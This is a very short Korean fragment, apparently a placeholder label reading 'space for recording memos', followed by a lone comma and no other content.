메모 기록용 공간

,